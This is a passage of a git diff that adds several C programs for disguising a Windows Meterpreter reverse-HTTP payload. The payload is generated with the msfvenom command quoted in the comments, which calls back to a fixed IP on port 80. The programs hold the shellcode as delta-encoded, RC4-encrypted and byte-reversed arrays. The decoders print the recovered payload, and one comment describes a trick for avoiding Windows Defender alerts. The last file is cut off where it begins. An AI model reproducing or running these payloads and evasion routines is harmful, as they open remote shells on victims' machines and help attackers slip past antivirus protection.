0x59, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x13, 0x28, 0xf0, 0x0, 0x0, 0x31, 0x8, 0xf9, 0xfc, 0x3, 0x5, 0x2, 0xf6, 0x3, 0x8, 0xf7, 0xfe, 0x3, 0x2, 0x1, 0xcc, 0x5a, 0xee, 0x41, 0x38, 0x88, 0x7e, 0xf9, 0x90, 0xb0, 0x0, 0x0, 0x4d, 0xe4, 0x98, 0x8a, 0x0, 0x17, 0x99, 0x50, 0xf6, 0x71, 0x9d, 0x32, 0x16, 0x27, 0x3a, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x13, 0x63, 0xb5, 0x0, 0x0, 0x2f, 0x46, 0x2, 0xcd, 0x25, 0xf0, 0xf9, 0xfc, 0x24, 0xf1, 0xa, 0xd, 0xd5, 0xe8, 0x16, 0x12, 0x16, 0xfb, 0x3, 0xce, 0x1, 0xe, 0x27, 0xf3, 0xf5, 0xd, 0x2, 0xfb, 0x2, 0xc9, 0x4, 0xff, 0x28, 0xe8, 0x1a, 0xe1, 0xf0, 0x21, 0xfa, 0x27, 0xf1, 0xcc, 0x3b, 0xfe, 0xee, 0xe, 0xde, 0xc, 0x24, 0xc5, 0x0, 0xd, 0x1c, 0x12, 0xdd, 0xf0, 0x17, 0xdd, 0x3c, 0xe5, 0xc, 0xcf, 0x21, 0x17, 0xd8, 0x13, 0xf6, 0x5, 0x1f, 0x3, 0x5, 0x2, 0xfd, 0xb8, 0xd3, 0x48, 0x41, 0x38, 0x92, 0x7, 0xe7, 0x17, 0xf5, 0xe4, 0x98, 0x8a, 0xf5, 0x70, 0x48, 0x2, 0x26, 0x5c, 0x7c, 0x0, 0x0, 0x0, 0x50, 0x3, 0x0, 0xf6, 0x7e, 0xfb, 0x29, 0x6a, 0xd9, 0xd, 0xc4, 0xd6, 0x73, 0x41, 0x3d, 0xa4, 0xa0, 0x55, 0xf4, 0x7, 0xee, 0x41, 0x68, 0x5c, 0xe4, 0x98, 0x84, 0xe4, 0x98, 0x8a, 0x0, 0xf6, 0x7e, 0xfb, 0x6b, 0xd9, 0x12, 0x63, 0x84, 0xd6, 0xb0, 0x3b, 0xb5, 0xaa, 0x29, 0x7f, 0xfa, 0xc7, 0x8b, 0xed, 0x0, 0x49, 0x71, 0x8a, 0xac, 0x45, 0xab, 0x20, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x73, 0xb7, 0xd0, 0xa5, 0x8e, 0xe9, 0xe1, 0x1c, 0x6d, 0xab, 0x0, 0x0, 0x53, 0x6, 0x11, 0xd6, 0x1a, 0xef, 0x40, 0x48, 0xf0, 0x21, 0x2e, 0x39, 0x7e, 0xf9, 0x40, 0x10, 0xf0, 0x0, 0x49, 0x71, 0x9e, 0x4c, 0xaf, 0x92, 0x1b, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x73, 0x4b, 0xc0, 0x0, 0xf5, 0x41, 0x5e, 0x61, 0x41, 0x68, 0x57, 0x41, 0x51, 0x6f, 0x7e, 0xf9, 0x40, 0x20, 0xe0, 0x0, 0x49, 0x40, 0x70, 0x50, 0x71, 0x58, 0x84, 0xf3, 0x59, 0x1e, 0x0, 0x0, 0x0, 0xff, 0xd6, 0x73, 0x3b, 0x41, 0x5c, 0x65, 0x3b, 0xb4, 0x3e, 0xb4, 0x25, 0x7c, 0x41, 0xb9, 0xc2, 0xc2, 0x3b, 0xb5, 0x5d, 0x86, 0x6b, 0x95, 0x12, 0x96, 0x59, 0xf0, 0x7e, 0xfb, 0x2e, 0xc5, 0xed, 0xb4, 0xa9, 0xd6 };unsigned char shellcode[711] = { 0x00 };
+
+	// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
+	// python3 offset.py -i met.bin
+
+	//Size of shellcode array
+	int cap = sizeof(delta) / sizeof(delta[0]);
+
+	//Setting first byte of the reconstituted array to the first byte of the payload
+	shellcode[0] = first_byte;
+
+	// keep track of our positions
+	unsigned int delta_idx, shellcode_idx;
+	
+	/* Take initial byte and add the delta to it to get the second byte. Take second byte
+	and add second delta to get third byte and so on. */
+	for (delta_idx = 0; delta_idx < cap; delta_idx++)
+	{
+		shellcode_idx = delta_idx + 1;
+		shellcode[shellcode_idx] = shellcode[delta_idx] + delta[delta_idx];
+	}
+
+
+	for (int l = 0; l < cap + 1; l++)
+	{
+		//Last run needs to print closing bracket and semicolon
+		if (l == (cap)) {
+			printf("0x%02x", shellcode[l]);
+		}
+		else {
+			//Added a 1 because initial loop is true and adds a newline. This causes it to print 15 bytes and then a new line
+			if ((l + 1) % 15 == 0) {
+				printf("0x%02x,\n", shellcode[l]);
+			}
+			else {
+				printf("0x%02x,", shellcode[l]);
+			}
+		}
+	}
+	
+	return 0;
+}
@@ -0,0 +1,68 @@
+#include <windows.h>
+#include <stdio.h>
+
+/*
+	Based on https://osandamalith.com/2022/11/10/encrypting-shellcode-using-systemfunction032-033/
+	
+	SystemFunction033 is an undocumented function that can perform RC4 encryption/decryption on a buffer.
+	Similar to XOR, calling SystemFunction033 on an a buffer containing unencrypted data encrypts the data in the buffer.
+	Calling SystemFunction033 on an a buffer containing encrypted data decrypts the data in the buffer.
+*/
+
+
+// Function prototype for SystemFunction033
+typedef NTSTATUS(WINAPI* _SystemFunction033)(
+	struct ustring* memoryRegion,
+	struct ustring* keyPointer);
+
+
+// Define our ustring struct
+struct ustring {
+	DWORD Length;
+	DWORD MaximumLength;
+	PUCHAR Buffer;
+} _data, key;
+
+
+int main() {
+	
+
+	// declare SystemFunction033 for use
+	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary((LPCSTR)"Advapi32"), (LPCSTR)"SystemFunction033");
+
+	char _key[] = "9UYWDXJIMPO121YC";char shellcode[] = {0x5d, 0x8a, 0xac, 0x31, 0xaa, 0x23, 0xa9, 0x3a, 0x2e, 0xce, 0xe2, 0xcb, 0xd2, 0x48, 0x24, 0x4c, 0x4b, 0x7a, 0x9d, 0x72, 0x38, 0x4e, 0x17, 0xb0, 0x32, 0x1f, 0x2e, 0xdc, 0x9b, 0x3f, 0x62, 0x34, 0xd1, 0x96, 0x4b, 0xaf, 0xe5, 0x7, 0xa3, 0x22, 0x75, 0x8e, 0x3d, 0x52, 0x21, 0x98, 0xf6, 0x71, 0xbb, 0xa9, 0x59, 0xb4, 0xd5, 0xa6, 0xc3, 0x8d, 0x7d, 0xd4, 0xe5, 0xd0, 0xb2, 0x9d, 0x89, 0x65, 0xd3, 0x93, 0x15, 0x76, 0x9, 0x93, 0x36, 0x5, 0x96, 0x82, 0xde, 0xaf, 0x8, 0xe6, 0x72, 0x23, 0xb2, 0x23, 0x15, 0xe1, 0xd, 0x28, 0xc6, 0xa5, 0xe9, 0x2b, 0x5d, 0x4, 0x60, 0x90, 0x6b, 0x8, 0x38, 0xae, 0xf4, 0xc2, 0x27, 0x9e, 0x7e, 0x3c, 0x79, 0x7f, 0x0, 0x26, 0x8d, 0x56, 0x62, 0xfa, 0x72, 0xac, 0xf4, 0x49, 0x5, 0x73, 0xec, 0xe2, 0xb7, 0x34, 0xf8, 0x9c, 0xbf, 0xcc, 0x12, 0xff, 0xd8, 0x54, 0x18, 0xa7, 0xd1, 0x80, 0x93, 0x5c, 0x5e, 0xf2, 0x43, 0xe3, 0xf2, 0x3f, 0x75, 0x7d, 0x30, 0x72, 0x50, 0x1a, 0x3a, 0xdc, 0xf0, 0xce, 0x29, 0x9, 0x76, 0x75, 0x6, 0xb8, 0x35, 0xda, 0x97, 0x71, 0x3a, 0x5a, 0x55, 0x99, 0xb5, 0xc, 0x41, 0xd0, 0x72, 0xbd, 0x9e, 0xa2, 0xe0, 0x9e, 0x17, 0x25, 0x79, 0x52, 0x18, 0xb1, 0xc0, 0xe9, 0x24, 0xff, 0xcb, 0x4, 0x24, 0x72, 0x28, 0x7f, 0xc3, 0x63, 0x94, 0xea, 0x7a, 0x1a, 0x61, 0x56, 0xa, 0xdb, 0xb3, 0xcc, 0x48, 0x8e, 0x1f, 0xb6, 0x1b, 0xb0, 0xb7, 0x6f, 0xd3, 0x24, 0xea, 0xc1, 0x40, 0x92, 0x56, 0xdf, 0xe7, 0xc4, 0x16, 0x5e, 0x6c, 0xf0, 0xb7, 0x72, 0x45, 0xff, 0x5a, 0x8f, 0xa, 0xe3, 0x45, 0x93, 0x1d, 0x33, 0x6f, 0xe3, 0x68, 0xba, 0x18, 0xd1, 0x30, 0x41, 0xcf, 0x15, 0xa0, 0xbc, 0x28, 0x1, 0x9f, 0xdf, 0x80, 0x56, 0x9e, 0xb6, 0x6e, 0x14, 0xb2, 0x60, 0xda, 0xc1, 0x8e, 0x98, 0xf5, 0xea, 0x56, 0x9b, 0x89, 0x36, 0xe0, 0xf0, 0x16, 0xbe, 0x49, 0x8c, 0x8f, 0x9f, 0x8b, 0xbb, 0x11, 0xc9, 0x39, 0xc1, 0xe1, 0x29, 0x9c, 0xe6, 0x51, 0x4e, 0x91, 0x72, 0x82, 0x4d, 0x20, 0x51, 0xa, 0x68, 0x2, 0x48, 0x44, 0x3c, 0x45, 0xef, 0x41, 0x93, 0xbd, 0x66, 0xa9, 0x17, 0x36, 0x35, 0x2f, 0x57, 0x11, 0xd7, 0xa0, 0x84, 0xe7, 0xcc, 0x80, 0x55, 0x39, 0x4, 0x54, 0xc8, 0xc, 0x8a, 0x8c, 0xb2, 0x56, 0x34, 0xf8, 0xcc, 0xe5, 0xf7, 0xe3, 0x1c, 0xd9, 0xde, 0x3a, 0xab, 0x2b, 0x4b, 0x9c, 0x6d, 0xb9, 0xa7, 0x2, 0x18, 0x1c, 0xdd, 0xe8, 0x68, 0x7a, 0xc3, 0xfd, 0x36, 0x79, 0xf3, 0x4c, 0x25, 0x8f, 0xf, 0xae, 0xd5, 0x3f, 0x90, 0x30, 0x35, 0xda, 0xd0, 0x5a, 0x90, 0x3e, 0x4e, 0xa7, 0x2e, 0x24, 0x24, 0xbb, 0xf5, 0x86, 0xb2, 0x32, 0xe0, 0x75, 0xa0, 0xd1, 0xfb, 0xe5, 0x18, 0xab, 0x56, 0x44, 0x67, 0xb9, 0x24, 0x8a, 0xdd, 0x45, 0x40, 0x17, 0xcf, 0x60, 0xb3, 0x51, 0xb4, 0x24, 0xb8, 0xb, 0x37, 0xee, 0x4, 0x5e, 0xa5, 0xfe, 0xe6, 0xba, 0x42, 0xee, 0xaf, 0x6b, 0x59, 0x1f, 0x34, 0xb, 0x86, 0x7d, 0xb9, 0x3d, 0x5b, 0x39, 0xc4, 0x40, 0xea, 0x57, 0xc2, 0x78, 0xc1, 0xd5, 0x48, 0x19, 0xe7, 0x8f, 0x3e, 0x3d, 0x90, 0x9a, 0x7d, 0x2f, 0x87, 0x86, 0x9, 0xc3, 0x25, 0xd3, 0x60, 0x63, 0x5, 0x30, 0xaf, 0x16, 0xe1, 0x88, 0x34, 0xde, 0xc4, 0x61, 0x3e, 0xf0, 0xd0, 0xba, 0x1b, 0x53, 0x56, 0xd3, 0x2f, 0xdb, 0x5b, 0x17, 0x34, 0xb6, 0xb0, 0x92, 0x4e, 0x30, 0x3e, 0xe7, 0x7b, 0x2a, 0x10, 0xa2, 0x5a, 0xdc, 0x8, 0x36, 0xeb, 0x14, 0x76, 0x7f, 0x8d, 0xe5, 0x23, 0x95, 0xf6, 0x65, 0x5b, 0xfb, 0x84, 0x66, 0x45, 0xcc, 0x4b, 0xf6, 0xb, 0x2d, 0x9f, 0x5b, 0x60, 0xdb, 0xe0, 0x5a, 0x2a, 0x8e, 0xc5, 0xcd, 0x6, 0xd5, 0xd4, 0xb0, 0x28, 0x99, 0xbc, 0xa6, 0xd4, 0x4a, 0x50, 0x98, 0x19, 0x63, 0x5f, 0x6f, 0xac, 0x19, 0x3d, 0xf5, 0x92, 0x94, 0x7c, 0x5d, 0x23, 0x6e, 0x42, 0xed, 0x9e, 0xe1, 0xfb, 0x7, 0xb6, 0x49, 0xaa, 0xbe, 0xa, 0x15, 0xdb, 0xac, 0x9f, 0xaf, 0x87, 0x84, 0xc, 0x23, 0x6c, 0xd8, 0xb9, 0x13, 0xa1, 0x80, 0xd, 0x8e, 0xc6, 0xda, 0x40, 0x1, 0x0, 0xc, 0xbc, 0xff, 0x85, 0x20, 0xf3, 0xfa, 0xd4, 0x6, 0x9b, 0x52, 0x5a, 0x3b, 0x1c, 0x90, 0x5d, 0x54, 0x6, 0x84, 0x49, 0xe2, 0xdb, 0xee, 0x7d, 0x59, 0x90, 0x8, 0x78, 0x64, 0xf4, 0x8f, 0x61, 0x23, 0x31, 0x8e, 0x28, 0x79, 0x9a, 0x67, 0xae, 0xe2, 0x36, 0x5d, 0x53, 0xee, 0x9a, 0x55, 0x84, 0x2e, 0x90, 0xc1, 0xd1, 0xd0, 0x7d, 0x9c, 0x6b, 0x2e, 0x5c, 0xfb, 0x33, 0x5b, 0x62, 0xc, 0xa6, 0x8f, 0x95, 0x4a, 0x1b, 0xd2, 0x64, 0x87, 0xeb, 0xb8, 0x59, 0x8, 0x93, 0x2e, 0x26, 0xc8, 0x81, 0xea, 0xe4, 0x9, 0xeb, 0x37, 0xd9, 0xd4, 0x8e, 0x52, 0x77, 0x59, 0xc5, 0xf9, 0xaa, 0xd2, 0x3a, 0x19, 0x29, 0x1c, 0xc4, 0x7, 0x6b, 0x72, 0xe1, 0xbe, 0x26, 0xbc, 0x77, 0x8f, 0xfc, 0x77, 0x0, 0xdb, 0x1f, 0xc2, 0xe0, 0xe0, 0xea, 0x89, 0xb1, 0x48, 0x10, 0xa1};
+
+	// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
+	// python3 rc4_encrypt.py -i met.bin
+	/*char _key[] = "XK53QSV2MSEPPKAU";
+	unsigned char shellcode[] = {0xee, 0x8, 0x63, 0x24, 0x95, 0x5e, 0xb3, 0xf4, 0xd6, 0x8a, 0xbe, 0xbb, 0xb3, 0xd0, 0x7f, 0x9f, 0xfc, 0x67, 0x13, 0x75, 0x6b, 0xd0, 0x5c, 0xc7, 0x9d, 0x39, 0x21, 0x20, 0x64, 0x98, 0x53, 0xe4, 0x96, 0x3a, 0x40, 0x35, 0xb2, 0xc1, 0xe2, 0xd2, 0xc2, 0xe, 0x7b, 0x7, 0xb2, 0xae, 0x14, 0xd7, 0x3, 0xa7, 0xcf, 0xb3, 0x13, 0x86, 0xc5, 0x8, 0x2b, 0x8d, 0x7c, 0xa7, 0xdd, 0x94, 0xd8, 0x47, 0x8, 0xee, 0xb7, 0x1b, 0xf2, 0x83, 0x32, 0x85, 0x8a, 0xbb, 0xee, 0x46, 0xd3, 0x9c, 0xd8, 0x75, 0xe0, 0xc0, 0x5e, 0x48, 0x4a, 0xb, 0xaf, 0xb6, 0x97, 0x57, 0x96, 0x96, 0x47, 0x70, 0xa2, 0x99, 0x15, 0x30, 0xbd, 0x70, 0x36, 0xa1, 0x47, 0x79, 0x6a, 0xec, 0x46, 0x8b, 0x7e, 0x46, 0xc5, 0xbe, 0x30, 0x6b, 0x1d, 0x4, 0xfb, 0x4f, 0x5a, 0xa4, 0x77, 0xfa, 0xbf, 0x2f, 0xbd, 0xd4, 0x6d, 0x73, 0xd3, 0xc9, 0xff, 0xe4, 0x78, 0x14, 0x47, 0xaa, 0xf8, 0x90, 0x29, 0x61, 0x1f, 0xa9, 0xcd, 0xb7, 0xac, 0xfe, 0x35, 0x40, 0x5c, 0x61, 0x2b, 0xf9, 0x2e, 0x4b, 0x40, 0xdd, 0x7e, 0x31, 0xe3, 0x3c, 0xd1, 0x20, 0xca, 0x60, 0xaf, 0x56, 0x4e, 0xfd, 0x89, 0xa4, 0x48, 0x70, 0x6b, 0xf0, 0xc2, 0x64, 0x75, 0x22, 0xd8, 0xfc, 0x78, 0x13, 0xb7, 0x2a, 0x0, 0x41, 0xfd, 0xe9, 0x69, 0x79, 0x73, 0x34, 0x70, 0x3d, 0x9b, 0xd5, 0x2c, 0x85, 0x47, 0x9d, 0x22, 0x80, 0x30, 0x42, 0xaa, 0xa3, 0xe9, 0xe0, 0xf, 0x8f, 0x31, 0xb6, 0x0, 0xef, 0xdb, 0x70, 0xe6, 0x64, 0x1a, 0xd0, 0xba, 0x54, 0x89, 0x8a, 0xe6, 0xff, 0x4d, 0xca, 0x46, 0x43, 0xd1, 0xa5, 0xcc, 0x43, 0xa1, 0x69, 0x75, 0xb6, 0x5b, 0xe8, 0x2, 0xf3, 0x52, 0xab, 0x28, 0xc3, 0xdb, 0xd2, 0x54, 0x7, 0xa2, 0x67, 0xe, 0x91, 0x4, 0x5e, 0x23, 0xbe, 0xa0, 0x32, 0x7a, 0x44, 0x96, 0xdd, 0x1f, 0xbb, 0x5b, 0x1a, 0xde, 0xb5, 0x8f, 0xea, 0xb1, 0x53, 0x28, 0x50, 0xa, 0x5f, 0xdf, 0x25, 0x4a, 0xf, 0x18, 0x5c, 0x15, 0x12, 0xbe, 0xb3, 0x3c, 0x6e, 0x87, 0xc, 0x83, 0x2a, 0xfb, 0x8e, 0x69, 0x4f, 0xe0, 0x3c, 0x9f, 0xfe, 0x9f, 0x14, 0x60, 0x4b, 0xa, 0x5a, 0xc9, 0x69, 0x37, 0x67, 0x31, 0x3b, 0xb5, 0xe5, 0x74, 0xc5, 0xb3, 0x11, 0x4e, 0xab, 0x9c, 0x46, 0xcd, 0xf9, 0x9b, 0x72, 0xde, 0xf8, 0xb4, 0x4, 0xb1, 0x7e, 0x76, 0xc7, 0xb3, 0xb1, 0xe9, 0x23, 0x7a, 0xcc, 0xf1, 0x90, 0x49, 0xee, 0xe6, 0x3d, 0x18, 0x84, 0xc0, 0x9e, 0x1a, 0xe3, 0xe4, 0xb8, 0x21, 0x3d, 0xf6, 0xb6, 0x39, 0x85, 0x94, 0x56, 0x6e, 0x12, 0xed, 0xb3, 0x62, 0x51, 0x69, 0x2f, 0x7e, 0xc9, 0xaf, 0xb5, 0x73, 0xa, 0xd3, 0xc1, 0x53, 0xb7, 0x21, 0x87, 0x3, 0x6a, 0x51, 0xde, 0x12, 0xf9, 0x62, 0x31, 0x1f, 0xb2, 0x14, 0x48, 0x75, 0xc8, 0xb2, 0x5c, 0x62, 0x3, 0x29, 0xe4, 0xa4, 0xb9, 0xa0, 0x7a, 0xea, 0x6e, 0x6, 0xf4, 0x53, 0xaf, 0x8d, 0xf3, 0x7a, 0xd5, 0xdf, 0xc9, 0x1e, 0x79, 0x4f, 0x4e, 0xe8, 0x99, 0xcc, 0x75, 0xd4, 0x9, 0x12, 0xc8, 0xff, 0xf1, 0x9b, 0x31, 0xc2, 0x77, 0x89, 0x8f, 0x9b, 0x11, 0x1c, 0xab, 0xd, 0x7b, 0xa8, 0x33, 0xab, 0x9a, 0xc7, 0x57, 0xe, 0xaf, 0x16, 0x68, 0x9a, 0x83, 0x33, 0xff, 0x64, 0x5e, 0xea, 0xb9, 0xcc, 0xcd, 0x77, 0xc1, 0x2f, 0x71, 0x40, 0xcf, 0x4a, 0xdd, 0xe6, 0x5a, 0xe2, 0x40, 0x15, 0xf7, 0x6c, 0xe0, 0x79, 0xc9, 0xd8, 0xc0, 0xab, 0x78, 0x9a, 0xef, 0x62, 0xda, 0x83, 0x3d, 0x62, 0xbc, 0x53, 0xff, 0x92, 0x3a, 0xfd, 0x17, 0xf3, 0x2, 0xd3, 0x91, 0xc6, 0xf, 0x95, 0xb9, 0xd5, 0xd6, 0x6d, 0x42, 0x76, 0x1, 0xad, 0xb1, 0xc9, 0xf1, 0xc1, 0xeb, 0x35, 0xa2, 0x92, 0xb2, 0x8e, 0x71, 0xdb, 0x8a, 0x5c, 0xbd, 0x5c, 0xe6, 0x91, 0x66, 0x18, 0xfe, 0x4d, 0x37, 0x4, 0xc5, 0x6e, 0x9e, 0x1e, 0x73, 0xc9, 0x5c, 0x27, 0x47, 0x74, 0xb0, 0x45, 0xba, 0xf, 0x26, 0x9d, 0xad, 0xa, 0x18, 0xa6, 0xf8, 0x2e, 0x29, 0x56, 0x6, 0xd0, 0xcc, 0x38, 0x66, 0x2d, 0x85, 0x9e, 0xee, 0x27, 0x2, 0xe0, 0x8b, 0x29, 0xb9, 0x94, 0xc9, 0x7, 0xa8, 0x4, 0xf5, 0x5, 0x6c, 0xbf, 0x8b, 0x21, 0xbe, 0x21, 0xa5, 0xec, 0x54, 0x9d, 0xdf};
+	*/
+	// declare a variable for our shellcode size
+ 	unsigned int shellcode_size = sizeof(shellcode);
+	
+	// create a new struct from our key
+	key.Buffer = (&_key);
+	key.Length = 16;
+ 
+	// create a new struct from the shellcode
+	_data.Buffer = &shellcode;
+	_data.Length = shellcode_size;
+ 
+	//SystemFunction033(&data, &key);
+	SystemFunction033(&_data, &key);
+	
+ 	int idx = 0;
+		while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", shellcode[idx]);
+		}
+		idx++;
+	}
+
+}
@@ -0,0 +1,38 @@
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+int main(void) {
+	
+
+	char reversed_payload [711] = {0xd5, 0xff, 0x56, 0xa2, 0xb5, 0xf0, 0xc2, 0xc7, 0x49, 0x59, 0x0, 0x6a, 0x58, 0xc3, 0x58, 0xd2, 0x75, 0xc0, 0x85, 0xc3, 0x1, 0x48, 0x7, 0x8b, 0x66, 0xb2, 0x74, 0xc0, 0x85, 0x20, 0xc4, 0x83, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe2, 0x89, 0x96, 0x12, 0xba, 0x49, 0xf9, 0x89, 0x49, 0x0, 0x0, 0x20, 0x0, 0xc0, 0xc7, 0x49, 0xda, 0x89, 0x48, 0xf1, 0x89, 0x48, 0xe7, 0x89, 0x48, 0x53, 0x53, 0x93, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe5, 0x53, 0xa4, 0x58, 0xba, 0x49, 0x0, 0x0, 0x10, 0x0, 0xc0, 0xc7, 0x49, 0x10, 0xe2, 0xc1, 0xd1, 0x89, 0x49, 0x5a, 0x40, 0x6a, 0x59, 0x53, 0x0, 0x0, 0x0, 0x55, 0xe8, 0xcc, 0xeb, 0x2, 0x74, 0xcf, 0xff, 0x48, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xe0, 0x35, 0xf0, 0x44, 0xba, 0x49, 0x0, 0x0, 0x13, 0x88, 0xc1, 0xc7, 0x48, 0x1f, 0x75, 0xc0, 0x85, 0xd5, 0xff, 0x7b, 0x18, 0x6, 0x2d, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc9, 0x31, 0x4d, 0xf1, 0x89, 0x48, 0x5a, 0x53, 0x5f, 0xa, 0x6a, 0xc6, 0x89, 0x48, 0xd5, 0xff, 0x3b, 0x2e, 0x55, 0xeb, 0xc2, 0xc7, 0x49, 0x53, 0x53, 0x50, 0x0, 0x0, 0x0, 0x0, 0x84, 0x28, 0x2, 0x0, 0xb8, 0x48, 0x53, 0xc9, 0x31, 0x4d, 0x58, 0x41, 0x5a, 0x53, 0xc1, 0x89, 0x48, 0x0, 0x2d, 0x75, 0x78, 0x76, 0x71, 0x6e, 0x4f, 0x4a, 0x54, 0x41, 0x69, 0x52, 0x31, 0x62, 0x56, 0x71, 0x35, 0x58, 0x41, 0x51, 0x74, 0x62, 0x46, 0x39, 0x39, 0x74, 0x50, 0x44, 0x66, 0x58, 0x6a, 0x6c, 0x31, 0x65, 0x74, 0x4d, 0x53, 0x32, 0x42, 0x61, 0x47, 0x5f, 0x37, 0x38, 0x34, 0x6b, 0x69, 0x6e, 0x6c, 0x5f, 0x6a, 0x77, 0x50, 0x42, 0x41, 0x73, 0x70, 0x75, 0x5f, 0x4d, 0x37, 0x4f, 0x7a, 0x6d, 0x63, 0x72, 0x4e, 0x52, 0x59, 0x69, 0x44, 0x77, 0x75, 0x2f, 0x0, 0x0, 0x0, 0x4b, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xc6, 0x9f, 0x89, 0x57, 0xba, 0x49, 0x53, 0x3, 0x6a, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0x0, 0x0, 0x0, 0x50, 0xc0, 0xc7, 0x49, 0xc1, 0x89, 0x48, 0x5a, 0x0, 0x34, 0x33, 0x31, 0x2e, 0x30, 0x39, 0x31, 0x2e, 0x38, 0x36, 0x31, 0x2e, 0x32, 0x39, 0x31, 0x0, 0x0, 0x0, 0x10, 0xe8, 0xd5, 0xff, 0x0, 0x0, 0x0, 0x0, 0xa7, 0x79, 0x56, 0x3a, 0xba, 0x49, 0x53, 0x53, 0xc9, 0x31, 0x4d, 0xc0, 0x31, 0x4d, 0x5a, 0x53, 0x59, 0x0, 0x36, 0x33, 0x2e, 0x37, 0x33, 0x35, 0x2f, 0x69, 0x72, 0x61, 0x66, 0x61, 0x53, 0x20, 0x30, 0x2e, 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x33, 0x31, 0x2f, 0x65, 0x6d, 0x6f, 0x72, 0x68, 0x43, 0x20, 0x29, 0x6f, 0x6b, 0x63, 0x65, 0x47, 0x20, 0x65, 0x6b, 0x69, 0x6c, 0x20, 0x2c, 0x4c, 0x4d, 0x54, 0x48, 0x4b, 0x28, 0x20, 0x36, 0x33, 0x2e, 0x37, 0x33, 0x35, 0x2f, 0x74, 0x69, 0x4b, 0x62, 0x65, 0x57, 0x65, 0x6c, 0x70, 0x70, 0x41, 0x20, 0x29, 0x34, 0x36, 0x78, 0x20, 0x3b, 0x34, 0x36, 0x6e, 0x69, 0x57, 0x20, 0x3b, 0x30, 0x2e, 0x30, 0x31, 0x20, 0x54, 0x4e, 0x20, 0x73, 0x77, 0x6f, 0x64, 0x6e, 0x69, 0x57, 0x28, 0x20, 0x30, 0x2e, 0x35, 0x2f, 0x61, 0x6c, 0x6c, 0x69, 0x7a, 0x6f, 0x4d, 0x0, 0x0, 0x0, 0x70, 0xe8, 0x53, 0x53, 0xd5, 0xff, 0x7, 0x26, 0x77, 0x4c, 0xc2, 0xc7, 0x49, 0xe1, 0x89, 0x48, 0x56, 0x41, 0x0, 0x74, 0x65, 0x6e, 0x69, 0x6e, 0x69, 0x77, 0xbe, 0x49, 0x53, 0xdb, 0x31, 0x48, 0x5d, 0xff, 0xff, 0xff, 0x4b, 0xe9, 0x12, 0x8b, 0x48, 0x5a, 0x59, 0x41, 0x58, 0xe0, 0xff, 0x52, 0x41, 0x20, 0xec, 0x83, 0x48, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5a, 0x59, 0x5e, 0xd0, 0x1, 0x48, 0x58, 0x41, 0x58, 0x41, 0x88, 0x4, 0x8b, 0x41, 0xd0, 0x1, 0x49, 0x1c, 0x40, 0x8b, 0x44, 0x48, 0xc, 0x8b, 0x41, 0x66, 0xd0, 0x1, 0x49, 0x24, 0x40, 0x8b, 0x44, 0x58, 0xd8, 0x75, 0xd1, 0x39, 0x45, 0x8, 0x24, 0x4c, 0x3, 0x4c, 0xf1, 0x75, 0xe0, 0x38, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0xac, 0xc0, 0x31, 0x48, 0xd6, 0x1, 0x48, 0xc9, 0x31, 0x4d, 0x88, 0x34, 0x8b, 0x41, 0xc9, 0xff, 0x48, 0x56, 0xe3, 0x50, 0x18, 0x48, 0x8b, 0xd0, 0x1, 0x49, 0x20, 0x40, 0x8b, 0x44, 0xd0, 0x1, 0x48, 0x67, 0x74, 0xc0, 0x85, 0x48, 0x0, 0x0, 0x0, 0x88, 0x80, 0x8b, 0x0, 0x0, 0x0, 0x72, 0x85, 0xf, 0x2, 0xb, 0x18, 0x78, 0x81, 0x66, 0xd0, 0x1, 0x48, 0x51, 0x41, 0x3c, 0x42, 0x8b, 0x20, 0x52, 0x8b, 0x48, 0x52, 0xed, 0xe2, 0xc1, 0x1, 0x41, 0xd, 0xc9, 0xc1, 0x41, 0x20, 0x2c, 0x2, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x48, 0xc9, 0x31, 0x4d, 0x50, 0x72, 0x8b, 0x48, 0x4a, 0x4a, 0xb7, 0xf, 0x48, 0x56, 0x51, 0x20, 0x52, 0x8b, 0x48, 0x18, 0x52, 0x8b, 0x48, 0x60, 0x52, 0x8b, 0x48, 0x65, 0xd2, 0x31, 0x48, 0x52, 0x50, 0x41, 0x51, 0x41, 0x0, 0x0, 0x0, 0xcc, 0xe8, 0xf0, 0xe4, 0x83, 0x48, 0xfc};
+
+	char shellcode[sizeof(reversed_payload)] = { 0 };
+
+	// reverse our array of ints
+	for (int i = 0; i < sizeof(reversed_payload); i++)
+	{
+		printf(""); // defender fires an alert on this routine without this ¯\_(ツ)_/¯
+		shellcode[i] = reversed_payload[sizeof(reversed_payload) - i - 1];
+	}
+
+	int idx = 0;
+	while ( idx < sizeof(reversed_payload))
+	{
+		if (idx == (sizeof(reversed_payload) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+
+    return 0;
+}
+
@@ -0,0 +1,49 @@
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+int main(void) {
+	
+
